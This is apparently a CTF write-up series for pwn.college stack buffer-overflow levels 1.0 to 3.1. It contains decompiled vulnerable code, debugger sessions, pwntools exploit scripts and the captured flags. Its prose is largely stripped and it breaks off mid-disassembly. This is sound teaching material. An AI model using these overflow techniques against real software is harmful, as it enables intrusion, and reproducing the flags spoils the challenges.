┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: Program Security (Memory Errors) series
(Completed)
~ CuB3y0nd
# Level 1.0

## Information

- Category: Pwn

## Description

> Overflow a buffer on the stack to set the right conditions to obtain the flag!

## Write-up

 `challenge` 

```c {9-10} del={55, 63} collapse={1-5, 14-51, 67-80, 59-59} ins={84-85}
__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  _QWORD v6[3]; // [rsp+0h] [rbp-50h] BYREF
  int v7; // [rsp+1Ch] [rbp-34h]
  int v8; // [rsp+24h] [rbp-2Ch]
  size_t nbytes; // [rsp+28h] [rbp-28h]
  _QWORD buf[2]; // [rsp+30h] [rbp-20h] BYREF
  _QWORD v11[2]; // [rsp+40h] [rbp-10h] BYREF
  __int64 savedregs; // [rsp+50h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+58h] [rbp+8h] BYREF

  v7 = a1;
  v6[2] = a2;
  v6[1] = a3;
  v11[1] = __readfsqword(0x28u);
  buf[0] = 0LL;
  buf[1] = 0LL;
  v11[0] = 0LL;
  nbytes = 0LL;
  puts("The challenge() function has just been launched!");
  sp_ = (__int64)v6;
  bp_ = (__int64)&savedregs;
  sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v6) >> 3) + 2;
  rp_ = (__int64)&retaddr;
  puts("Before we do anything, let's take a look at challenge()'s stack frame:")
;
  DUMP_STACK(sp_, sz_);
  printf("Our stack pointer points to %p, and our base pointer points to %p.n", 
(const void *)sp_, (const void *)bp_);
  printf("This means that we have (decimal) %d 8-byte words in our stack frame,n
", sz_);
  puts("including the saved base pointer and the saved return address, for a");
  printf("total of %d bytes.n", 8 * sz_);
  printf("The input buffer begins at %p, partway through the stack frame,n", buf
);
  puts("("above" it in the stack are other local variables used by the function)
.");
  puts("Your input will be read into this buffer.");
  printf("The buffer is %d bytes long, but the program will let you provide an a
rbitrarilyn", 20);
  puts("large input length, and thus overflow the buffer.n");
  puts("In this level, there is a "win" variable.");
  puts("By default, the value of this variable is zero.");
  puts("However, when this variable is non-zero, the flag will be printed.");
  puts("You can make this variable be non-zero by overflowing the input buffer."
);
  printf(
    "The "win" variable is stored at %p, %d bytes after the start of your input 
buffer.nn",
    (char *)v11 + 4,
    20);
  puts("We have disabled the following standard memory corruption mitigations fo
r this challenge:");
  puts("- the binary is *not* position independent. This means that it will be")
;
  puts("located at the same spot every time it is run, which means that by");
  puts("analyzing the binary (using objdump or reading this output), you can");
  puts("know the exact value that you need to overwrite the return address with.
n");
  cp_ = bp_;
  cv_ = __readfsqword(0x28u);
  while ( *(_QWORD *)cp_ != cv_ )
    cp_ -= 8LL;
  nbytes = 4096LL;
  printf("You have chosen to send %lu bytes of input!n", 4096LL);
  printf("This will allow you to write from %p (the start of the input buffer)n"
, buf);
  printf(
    "right up to (but not including) %p (which is %d bytes beyond the end of the
 buffer).n",
    &buf[nbytes / 8],
    nbytes - 20);
  printf("Send your payload (up to %lu bytes)!n", nbytes);
  v8 = read(0, buf, nbytes);
  if ( v8 < 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf("ERROR: Failed to read input -- %s!n", v4);
    exit(1);
  }
  printf("You sent %d bytes!n", v8);
  puts("Let's see what happened with the stack:n");
  DUMP_STACK(sp_, sz_);
  puts("The program's memory status:");
  printf("- the input buffer starts at %pn", buf);
  printf("- the saved frame pointer (of main) is at %pn", (const void *)bp_);
  printf("- the saved return address (previously to main) is at %pn", (const voi
d *)rp_);
  printf("- the saved return address is now pointing to %p.n", *(const void **)r
p_);
  printf("- the canary is stored at %p.n", (const void *)cp_);
  printf("- the canary value is now %p.n", *(const void **)cp_);
  printf("- the address of the win variable is %p.n", (char *)v11 + 4);
  printf("- the value of the win variable is 0x%x.n", HIDWORD(v11[0]));
  putchar(10);
  if ( HIDWORD(v11[0]) )
    win();
  puts("Goodbye!");
  return 0LL;
}
```

 `v11[0]`  32 bits `v11[0]`  32 bits  `0` 
 `if`  `win`

```c
if ( HIDWORD(v11[0]) ) { win(); }
```

 `v11[0]`  32 bits

```c
_QWORD buf[2]; // [rsp+30h] [rbp-20h] BYREF
_QWORD v11[2]; // [rsp+40h] [rbp-10h] BYREF

// ...

nbytes = 4096LL;
// ...
v8 = read(0, buf, nbytes);
```

 `read`  4096 bytes  `buf` `buf`  16 bytes
 `v11` 

 16 bytes  `buf` 5 bytes  `v11[0]` 
 32 bits  `read`  20 byt
es

## Exploit

```python
#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb

context(log_level="debug", terminal="kitty")

FILE = "./binary-exploitation-first-overflow-w"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
c
"""


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b"A" * 21
target.send(payload)

target.recvall()
```

## Flag

Flag: `pwn.college{oQdReDoKIU218v6uPGguMuFOJnt.0VO4IDL5cTNxgzW}`

# Level 1.1

## Information

- Category: Pwn

## Description

> This challenge is identical to its "easy" version from a security perspective,
 but has the following changes:

1. Unlike the easy version, it does not give you helpful debug output. You will 
have to recover this information using a debugger.
2. For all other "hard" versions, the source code will not be provided, and you 
will need to reverse-engineer the binary using your knowledge of the "easy" vers
ion as a reference. However, for this one challenge, to get you familiar with th
e differences between the easy and hard versions, we will provide the source cod
e.
3. Some randomization is different. Buffers might have different lengths, offset
s might vary, etc. You will need to reverse engineer this information from the b
inary!

## Write-up

```c {5-6} del={13} ins={20-21} collapse={1-1}
__int64 challenge()
{
  int *v0; // rax
  char *v1; // rax
  _QWORD buf[4]; // [rsp+30h] [rbp-30h] BYREF
  int v4; // [rsp+50h] [rbp-10h]
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(buf, 0, sizeof(buf));
  v4 = 0;
  printf("Send your payload (up to %lu bytes)!n", 4096LL);
  if ( (int)read(0, buf, 0x1000uLL) < 0 )
  {
    v0 = __errno_location();
    v1 = strerror(*v0);
    printf("ERROR: Failed to read input -- %s!n", v1);
    exit(1);
  }
  if ( v4 )
    win();
  puts("Goodbye!");
  return 0LL;
}
```

```c
_QWORD buf[4]; // [rsp+30h] [rbp-30h] BYREF
int v4; // [rsp+50h] [rbp-10h]

// ...

if ( (int)read(0, buf, 0x1000uLL) < 0 ) { /* ... */ }

// ...

if ( v4 ) { win(); }
```

 `v4`  `win` `v4`  0 

 `buf`  32 bytes 4096 bytes `v4` 


## Exploit

```python
#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb

context(log_level="debug", terminal="kitty")

FILE = "./binary-exploitation-first-overflow"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
c
"""


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b"A" * 33
target.send(payload)

target.recvall()
```

## Flag

Flag: `pwn.college{cwWgAcBgDsBnGFTCky9i1NRqAtO.0FM5IDL5cTNxgzW}`

# Level 2.0

## Information

- Category: Pwn

## Description

> Overflow a buffer on the stack to set trickier conditions to obtain the flag!

## Write-up

```c {8-12, 22-25, 55} ins={84-85} del={63} collapse={1-4, 16-18, 29-51, 59-59, 
67-80}
__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  _QWORD v6[3]; // [rsp+0h] [rbp-D0h] BYREF
  int v7; // [rsp+1Ch] [rbp-B4h]
  int v8; // [rsp+24h] [rbp-ACh]
  size_t nbytes; // [rsp+28h] [rbp-A8h] BYREF
  void *buf; // [rsp+30h] [rbp-A0h]
  int *v11; // [rsp+38h] [rbp-98h]
  _BYTE v12[128]; // [rsp+40h] [rbp-90h] BYREF
  int v13; // [rsp+C0h] [rbp-10h] BYREF
  unsigned __int64 v14; // [rsp+C8h] [rbp-8h]
  __int64 savedregs; // [rsp+D0h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+D8h] [rbp+8h] BYREF

  v7 = a1;
  v6[2] = a2;
  v6[1] = a3;
  v14 = __readfsqword(0x28u);
  memset(v12, 0, sizeof(v12));
  v13 = 0;
  buf = v12;
  v11 = &v13;
  nbytes = 0LL;
  puts("The challenge() function has just been launched!");
  sp_ = (__int64)v6;
  bp_ = (__int64)&savedregs;
  sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v6) >> 3) + 2;
  rp_ = (__int64)&retaddr;
  puts("Before we do anything, let's take a look at challenge()'s stack frame:")
;
  DUMP_STACK(sp_, sz_);
  printf("Our stack pointer points to %p, and our base pointer points to %p.n", 
(const void *)sp_, (const void *)bp_);
  printf("This means that we have (decimal) %d 8-byte words in our stack frame,n
", sz_);
  puts("including the saved base pointer and the saved return address, for a");
  printf("total of %d bytes.n", 8 * sz_);
  printf("The input buffer begins at %p, partway through the stack frame,n", buf
);
  puts("("above" it in the stack are other local variables used by the function)
.");
  puts("Your input will be read into this buffer.");
  printf("The buffer is %d bytes long, but the program will let you provide an a
rbitrarilyn", 127);
  puts("large input length, and thus overflow the buffer.n");
  puts("In this level, there is a "win" variable.");
  puts("By default, the value of this variable is zero.");
  puts("However, if you can set variable to 0x0e530e48, the flag will be printed
.");
  puts("You can change this variable by overflowing the input buffer, but keep e
ndianness in mind!");
  printf(
    "The "win" variable is stored at %p, %d bytes after the start of your input 
buffer.nn",
    v11,
    (_DWORD)v11 - (_DWORD)buf);
  cp_ = bp_;
  cv_ = __readfsqword(0x28u);
  while ( *(_QWORD *)cp_ != cv_ )
    cp_ -= 8LL;
  printf("Payload size: ");
  __isoc99_scanf("%lu", &nbytes);
  printf("You have chosen to send %lu bytes of input!n", nbytes);
  printf("This will allow you to write from %p (the start of the input buffer)n"
, buf);
  printf(
    "right up to (but not including) %p (which is %d bytes beyond the end of the
 buffer).n",
    (char *)buf + nbytes,
    nbytes - 127);
  printf("Send your payload (up to %lu bytes)!n", nbytes);
  v8 = read(0, buf, nbytes);
  if ( v8 < 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf("ERROR: Failed to read input -- %s!n", v4);
    exit(1);
  }
  printf("You sent %d bytes!n", v8);
  puts("Let's see what happened with the stack:n");
  DUMP_STACK(sp_, sz_);
  puts("The program's memory status:");
  printf("- the input buffer starts at %pn", buf);
  printf("- the saved frame pointer (of main) is at %pn", (const void *)bp_);
  printf("- the saved return address (previously to main) is at %pn", (const voi
d *)rp_);
  printf("- the saved return address is now pointing to %p.n", *(const void **)r
p_);
  printf("- the canary is stored at %p.n", (const void *)cp_);
  printf("- the canary value is now %p.n", *(const void **)cp_);
  printf("- the address of the win variable is %p.n", v11);
  printf("- the value of the win variable is 0x%x.n", *v11);
  putchar(10);
  if ( *v11 == 240324168 )
    win();
  puts("Goodbye!");
  return 0LL;
}
```

```c
size_t nbytes; // [rsp+28h] [rbp-A8h] BYREF
void *buf; // [rsp+30h] [rbp-A0h]
int *v11; // [rsp+38h] [rbp-98h]
_BYTE v12[128]; // [rsp+40h] [rbp-90h] BYREF
int v13; // [rsp+C0h] [rbp-10h] BYREF

v13 = 0;
buf = v12;
v11 = &v13;
nbytes = 0LL;

// ...

__isoc99_scanf("%lu", &nbytes);

// ...

v8 = read(0, buf, nbytes);

// ...

if ( *v11 == 240324168 ) { win(); }
```

 `v11`  `240324168`  `win`

 `buf`  128 bytes
 `buf`  `v13` `v13`  `240324168` 

## Exploit

```python
#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb, p64

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-2-0"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
c
"""


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b"".ljust(128, b"A") + p64(240324168)
payload_size = str(len(payload)).encode()

target.recvuntil(b"Payload size: ")
target.sendline(payload_size)
target.recvuntil(b"Send your payload")
target.send(payload)

target.recvall()
```

## Flag

Flag: `pwn.college{w7aHpdU-9AlFvJ5GtohCFtGwF7M.ddTNzMDL5cTNxgzW}`

# Level 2.1

## Information

- Category: Pwn

## Description

> Overflow a buffer on the stack to set trickier conditions to obtain the flag!

## Write-up

```c {5-9, 15-16, 19} ins={28-29} del={21} collapse={1-1}
__int64 challenge()
{
  int *v0; // rax
  char *v1; // rax
  size_t nbytes; // [rsp+28h] [rbp-38h] BYREF
  void *buf; // [rsp+30h] [rbp-30h]
  _DWORD *v5; // [rsp+38h] [rbp-28h]
  _QWORD v6[2]; // [rsp+40h] [rbp-20h] BYREF
  _QWORD v7[2]; // [rsp+50h] [rbp-10h] BYREF

  v7[1] = __readfsqword(0x28u);
  v6[0] = 0LL;
  v6[1] = 0LL;
  v7[0] = 0LL;
  buf = v6;
  v5 = (_DWORD *)v7 + 1;
  nbytes = 0LL;
  printf("Payload size: ");
  __isoc99_scanf("%lu", &nbytes);
  printf("Send your payload (up to %lu bytes)!n", nbytes);
  if ( (int)read(0, buf, nbytes) < 0 )
  {
    v0 = __errno_location();
    v1 = strerror(*v0);
    printf("ERROR: Failed to read input -- %s!n", v1);
    exit(1);
  }
  if ( *v5 == 758965894 )
    win();
  puts("Goodbye!");
  return 0LL;
}
```

 `v5`  `758965894`  `win`

`buf`  16 bytes
 `v7`

`v5`  `v7`  `_DWORD + 1`  `buf`  `_DWORD` 


```asm showLineNumbers=false wrap=false {92-94, 113-114} collapse={13-32, 37-66,
 72-91, 98-109, 118-121}
pwndbg> r
Starting program: /home/cub3y0nd/Projects/pwn.college/babymem-level-2-1
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
###
### Welcome to /home/cub3y0nd/Projects/pwn.college/babymem-level-2-1!
###

Payload size: 1771
Send your payload (up to 1771 bytes)!

Breakpoint 1, 0x000055555555619d in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-fl
ags off / show-compact-regs off ]───────────────────────────────────────────────
────────────
 RAX  0x7fffffffd180 <- 0
 RBX  0x7fffffffe308 -> 0x7fffffffe6bb <- '/home/cub3y0nd/Projects/pwn.college/b
abymem-level-2-1'
 RCX  0
 RDX  0x6eb
 RDI  0
 RSI  0x7fffffffd180 <- 0
 R8   0x75
 R9   0xfffffffc
 R10  0
 R11  0x202
 R12  1
 R13  0
 R14  0x7ffff7ffd000 (_rtld_global) -> 0x7ffff7ffe2e0 -> 0x555555554000 <- 0x101
02464c457f
 R15  0
 RBP  0x7fffffffd1a0 -> 0x7fffffffe1e0 -> 0x7fffffffe280 -> 0x7fffffffe2e0 <- 0
 RSP  0x7fffffffd140 -> 0x555555557175 <- 0x2023232300232323 /* '###' */
 RIP  0x55555555619d (challenge+171) <- call 0x555555555180
────────────────────────────────────────────────────────────────────[ DISASM / x
86-64 / set emulate on ]────────────────────────────────────────────────────────
────────────
 -> 0x55555555619d <challenge+171>    call   read@plt                    <read@p
lt>
        fd: 0 (/dev/pts/0)
        buf: 0x7fffffffd180 <- 0
        nbytes: 0x6eb

   0x5555555561a2 <challenge+176>    mov    dword ptr [rbp - 0x3c], eax
   0x5555555561a5 <challenge+179>    cmp    dword ptr [rbp - 0x3c], 0
   0x5555555561a9 <challenge+183>    jns    challenge+229               <challen
ge+229>

   0x5555555561ab <challenge+185>    call   __errno_location@plt        <__errno
_location@plt>

   0x5555555561b0 <challenge+190>    mov    eax, dword ptr [rax]
   0x5555555561b2 <challenge+192>    mov    edi, eax
   0x5555555561b4 <challenge+194>    call   strerror@plt                <strerro
r@plt>

   0x5555555561b9 <challenge+199>    mov    rsi, rax
   0x5555555561bc <challenge+202>    lea    rdi, [rip + 0xf85]     RDI => 0x5555
55557148 <- 'ERROR: Failed to read input -- %s!n'
   0x5555555561c3 <challenge+209>    mov    eax, 0                 EAX => 0
────────────────────────────────────────────────────────────────────────────────
─[ STACK ]──────────────────────────────────────────────────────────────────────
────────────
00:0000│ rsp 0x7fffffffd140 -> 0x555555557175 <- 0x2023232300232323 /* '###' */
01:0008│-058 0x7fffffffd148 -> 0x7fffffffe318 -> 0x7fffffffe6f1 <- 'SHELL=/usr/b
in/zsh'
02:0010│-050 0x7fffffffd150 -> 0x7fffffffe308 -> 0x7fffffffe6bb <- '/home/cub3y0
nd/Projects/pwn.college/babymem-level-2-1'
03:0018│-048 0x7fffffffd158 <- 0x155559020
04:0020│-040 0x7fffffffd160 -> 0x7fffffffd1a0 -> 0x7fffffffe1e0 -> 0x7fffffffe28
0 -> 0x7fffffffe2e0 <- ...
05:0028│-038 0x7fffffffd168 <- 0x6eb
06:0030│-030 0x7fffffffd170 -> 0x7fffffffd180 <- 0
07:0038│-028 0x7fffffffd178 -> 0x7fffffffd194 <- 0xf7a9ac0000000000
───────────────────────────────────────────────────────────────────────────────[
 BACKTRACE ]────────────────────────────────────────────────────────────────────
────────────
 -> 0   0x55555555619d challenge+171
   1   0x5555555562ea main+213
   2   0x7ffff7dcae08
   3   0x7ffff7dcaecc __libc_start_main+140
   4   0x55555555520e _start+46
────────────────────────────────────────────────────────────────────────────────
────────────────────────────────────────────────────────────────────────────────
────────────
pwndbg> c
Continuing.
aaaaaaaabaaaaaaa

Breakpoint 3, 0x00005555555561d7 in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-fl
ags off / show-compact-regs off ]───────────────────────────────────────────────
────────────
*RAX  0x11
 RBX  0x7fffffffe308 -> 0x7fffffffe6bb <- '/home/cub3y0nd/Projects/pwn.college/b
abymem-level-2-1'
*RCX  0x7ffff7eb0c21 (read+17) <- cmp rax, -0x1000 /* 'H=' */
 RDX  0x6eb
 RDI  0
 RSI  0x7fffffffd180 <- 'aaaaaaaabaaaaaaan'
 R8   0x75
 R9   0xfffffffc
 R10  0
*R11  0x246
 R12  1
 R13  0
 R14  0x7ffff7ffd000 (_rtld_global) -> 0x7ffff7ffe2e0 -> 0x555555554000 <- 0x101
02464c457f
 R15  0
 RBP  0x7fffffffd1a0 -> 0x7fffffffe1e0 -> 0x7fffffffe280 -> 0x7fffffffe2e0 <- 0
 RSP  0x7fffffffd140 -> 0x555555557175 <- 0x2023232300232323 /* '###' */
*RIP  0x5555555561d7 (challenge+229) <- mov rax, qword ptr [rbp - 0x28]
────────────────────────────────────────────────────────────────────[ DISASM / x
86-64 / set emulate on ]────────────────────────────────────────────────────────
────────────
 -> 0x5555555561d7 <challenge+229>    mov    rax, qword ptr [rbp - 0x28]     RAX
, [0x7fffffffd178] => 0x7fffffffd194 <- 0xf7a9ac0000000000
   0x5555555561db <challenge+233>    mov    eax, dword ptr [rax]            EAX,
 [0x7fffffffd194] => 0
   0x5555555561dd <challenge+235>    cmp    eax, 0x2d3ce686                 0x0 
- 0x2d3ce686     EFLAGS => 0x293 [ CF pf AF zf SF IF df of ]
   0x5555555561e2 <challenge+240>  ✔ jne    challenge+252               <challen
ge+252>
    ↓
   0x5555555561ee <challenge+252>    lea    rdi, [rip + 0xf77]              RDI 
=> 0x55555555716c <- 'Goodbye!'
   0x5555555561f5 <challenge+259>    call   puts@plt                    <puts@pl
t>

   0x5555555561fa <challenge+264>    mov    eax, 0                       EAX => 
0
   0x5555555561ff <challenge+269>    mov    rcx, qword ptr [rbp - 8]
   0x555555556203 <challenge+273>    xor    rcx, qword ptr fs:[0x28]
   0x55555555620c <challenge+282>    je     challenge+289               <challen
ge+289>

   0x55555555620e <challenge+284>    call   __stack_chk_fail@plt        <__stack
_chk_fail@plt>
────────────────────────────────────────────────────────────────────────────────
─[ STACK ]──────────────────────────────────────────────────────────────────────
────────────
00:0000│ rsp 0x7fffffffd140 -> 0x555555557175 <- 0x2023232300232323 /* '###' */
01:0008│-058 0x7fffffffd148 -> 0x7fffffffe318 -> 0x7fffffffe6f1 <- 'SHELL=/usr/b
in/zsh'
02:0010│-050 0x7fffffffd150 -> 0x7fffffffe308 -> 0x7fffffffe6bb <- '/home/cub3y0
nd/Projects/pwn.college/babymem-level-2-1'
03:0018│-048 0x7fffffffd158 <- 0x155559020
04:0020│-040 0x7fffffffd160 <- 0x11ffffd1a0
05:0028│-038 0x7fffffffd168 <- 0x6eb
06:0030│-030 0x7fffffffd170 -> 0x7fffffffd180 <- 'aaaaaaaabaaaaaaan'
07:0038│-028 0x7fffffffd178 -> 0x7fffffffd194 <- 0xf7a9ac0000000000
───────────────────────────────────────────────────────────────────────────────[
 BACKTRACE ]────────────────────────────────────────────────────────────────────
────────────
 -> 0   0x5555555561d7 challenge+229
   1   0x5555555562ea main+213
   2   0x7ffff7dcae08
   3   0x7ffff7dcaecc __libc_start_main+140
   4   0x55555555520e _start+46
────────────────────────────────────────────────────────────────────────────────
────────────────────────────────────────────────────────────────────────────────
────────────
pwndbg> x/wx $rbp-0x28
0x7fffffffd178: 0xffffd194
pwndbg> p/x 0x194-0x180
$4 = 0x14
```

 padding  `0x14`

## Exploit

```python
#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb, p64

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-2-1"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
c
"""


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b"".ljust(0x14, b"A") + p64(758965894)
payload_size = str(len(payload)).encode()

target.recvuntil(b"Payload size: ")
target.sendline(payload_size)
target.recvuntil(b"Send your payload")
target.send(payload)

target.recvall()
```

## Flag

Flag: `pwn.college{sZCPUpjO4U6HmvntMr91HLyNljf.dhTNzMDL5cTNxgzW}`

# Level 3.0

## Information

- Category: Pwn

## Description

> Overflow a buffer and smash the stack to obtain the flag!

## Write-up

```plaintext wrap=false showLineNumbers=false "88 bytes after the start of your 
input buffer." collapse={1-38,46-55}
###
### Welcome to ./babymem-level-3-0!
###

The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+-------------------
-+
|                  Stack location |            Data (bytes) |      Data (LE int)
 |
+---------------------------------+-------------------------+-------------------
-+
| 0x00007ffd41f77580 (rsp+0x0000) | b0 75 f7 41 fd 7f 00 00 | 0x00007ffd41f775b0
 |
| 0x00007ffd41f77588 (rsp+0x0008) | 68 87 f7 41 fd 7f 00 00 | 0x00007ffd41f78768
 |
| 0x00007ffd41f77590 (rsp+0x0010) | 58 87 f7 41 fd 7f 00 00 | 0x00007ffd41f78758
 |
| 0x00007ffd41f77598 (rsp+0x0018) | 0b a7 02 f9 01 00 00 00 | 0x00000001f902a70b
 |
| 0x00007ffd41f775a0 (rsp+0x0020) | 1e 3e 40 00 00 00 00 00 | 0x0000000000403e1e
 |
| 0x00007ffd41f775a8 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000
 |
| 0x00007ffd41f775b0 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000
 |
| 0x00007ffd41f775b8 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000
 |
| 0x00007ffd41f775c0 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000
 |
| 0x00007ffd41f775c8 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000
 |
| 0x00007ffd41f775d0 (rsp+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000
 |
| 0x00007ffd41f775d8 (rsp+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000
 |
| 0x00007ffd41f775e0 (rsp+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000
 |
| 0x00007ffd41f775e8 (rsp+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000
 |
| 0x00007ffd41f775f0 (rsp+0x0070) | 00 00 00 00 00 00 00 00 | 0x0000000000000000
 |
| 0x00007ffd41f775f8 (rsp+0x0078) | b0 75 f7 41 fd 7f 00 00 | 0x00007ffd41f775b0
 |
| 0x00007ffd41f77600 (rsp+0x0080) | 30 86 f7 41 fd 7f 00 00 | 0x00007ffd41f78630
 |
| 0x00007ffd41f77608 (rsp+0x0088) | 51 2a 40 00 00 00 00 00 | 0x0000000000402a51
 |
+---------------------------------+-------------------------+-------------------
-+
Our stack pointer points to 0x7ffd41f77580, and our base pointer points to 0x7ff
d41f77600.
This means that we have (decimal) 18 8-byte words in our stack frame,
including the saved base pointer and the saved return address, for a
total of 144 bytes.
The input buffer begins at 0x7ffd41f775b0, partway through the stack frame,
("above" it in the stack are other local variables used by the function).
Your input will be read into this buffer.
The buffer is 68 bytes long, but the program will let you provide an arbitrarily
large input length, and thus overflow the buffer.

In this level, there is no "win" variable.
You will need to force the program to execute the win() function
by directly overflowing into the stored return address back to main,
which is stored at 0x7ffd41f77608, 88 bytes after the start of your input buffer
.
That means that you will need to input at least 96 bytes (68 to fill the buffer,
20 to fill other stuff stored between the buffer and the return address,
and 8 that will overwrite the return address).

We have disabled the following standard memory corruption mitigations for this c
hallenge:
- the canary is disabled, otherwise you would corrupt it before
overwriting the return address, and the program would abort.
- the binary is *not* position independent. This means that it will be
located at the same spot every time it is run, which means that by
analyzing the binary (using objdump or reading this output), you can
know the exact value that you need to overwrite the return address with.

Payload size:
```

 padding  `win` 


 pwndbg  `win` 

```asm wrap=false ins="0x0000000000402331"
pwndbg> i fun
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x00000000004010f0  putchar@plt
0x0000000000401100  __errno_location@plt
0x0000000000401110  puts@plt
0x0000000000401120  write@plt
0x0000000000401130  printf@plt
0x0000000000401140  geteuid@plt
0x0000000000401150  read@plt
0x0000000000401160  setvbuf@plt
0x0000000000401170  open@plt
0x0000000000401180  __isoc99_scanf@plt
0x0000000000401190  exit@plt
0x00000000004011a0  strerror@plt
0x00000000004011b0  _start
0x00000000004011e0  _dl_relocate_static_pie
0x00000000004011f0  deregister_tm_clones
0x0000000000401220  register_tm_clones
0x0000000000401260  __do_global_dtors_aux
0x0000000000401290  frame_dummy
0x0000000000401296  DUMP_STACK
0x0000000000401499  bin_padding
0x0000000000402331  win
0x0000000000402438  challenge
0x000000000040298b  main
0x0000000000402a70  __libc_csu_init
0x0000000000402ae0  __libc_csu_fini
0x0000000000402ae8  _fini
```

## Exploit

```python
#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb, p64

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-3-0"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
c
"""


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b"".ljust(88, b"A") + p64(0x402331)
payload_size = str(len(payload)).encode()

target.recvuntil(b"Payload size: ")
target.sendline(payload_size)
target.recvuntil(b"Send your payload")
target.send(payload)

target.recvall()
```

## Flag

Flag: `pwn.college{0omKd6AgzV5NaakXpbDyYSre3hD.01M5IDL5cTNxgzW}`

# Level 3.1

## Information

- Category: Pwn

## Description

> Overflow a buffer and smash the stack to obtain the flag!

## Write-up

```c del={20} collapse={1-16, 24-30}
__int64 challenge()
{
  int *v0; // rax
  char *v1; // rax
  size_t nbytes; // [rsp+28h] [rbp-88h] BYREF
  _QWORD v4[13]; // [rsp+30h] [rbp-80h] BYREF
  int v5; // [rsp+98h] [rbp-18h]
  __int16 v6; // [rsp+9Ch] [rbp-14h]
  int v7; // [rsp+A4h] [rbp-Ch]
  void *buf; // [rsp+A8h] [rbp-8h]

  memset(v4, 0, sizeof(v4));
  v5 = 0;
  v6 = 0;
  buf = v4;
  nbytes = 0LL;
  printf("Payload size: ");
  __isoc99_scanf("%lu", &nbytes);
  printf("Send your payload (up to %lu bytes)!n", nbytes);
  v7 = read(0, buf, nbytes);
  if ( v7 < 0 )
  {
    v0 = __errno_location();
    v1 = strerror(*v0);
    printf("ERROR: Failed to read input -- %s!n", v1);
    exit(1);
  }
  puts("Goodbye!");
  return 0LL;
}
```

```asm wrap=false ins="0x0000000000401a0b" collapse={2-21, 29-30, 36-90, 109-128
, 133-162} {131}
pwndbg> i fun
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x00000000004010f0  putchar@plt
0x0000000000401100  __errno_location@plt
0x0000000000401110  puts@plt
0x0000000000401120  write@plt
0x0000000000401130  printf@plt
0x0000000000401140  geteuid@plt
0x0000000000401150  read@plt
0x0000000000401160  setvbuf@plt
0x0000000000401170  open@plt
0x0000000000401180  __isoc99_scanf@plt
0x0000000000401190  exit@plt
0x00000000004011a0  strerror@plt
0x00000000004011b0  _start
0x00000000004011e0  _dl_relocate_static_pie
0x00000000004011f0  deregister_tm_clones
0x0000000000401220  register_tm_clones
0x0000000000401260  __do_global_dtors_aux
0x0000000000401290  frame_dummy
0x0000000000401296  bin_padding
0x0000000000401a0b  win
0x0000000000401b12  challenge
0x0000000000401c64  main
0x0000000000401d40  __libc_csu_init
0x0000000000401db0  __libc_csu_fini
0x0000000000401db8  _fini
pwndbg> disass challenge
Dump of assembler code for function challenge:
   0x0000000000401b12 <+0>: endbr64
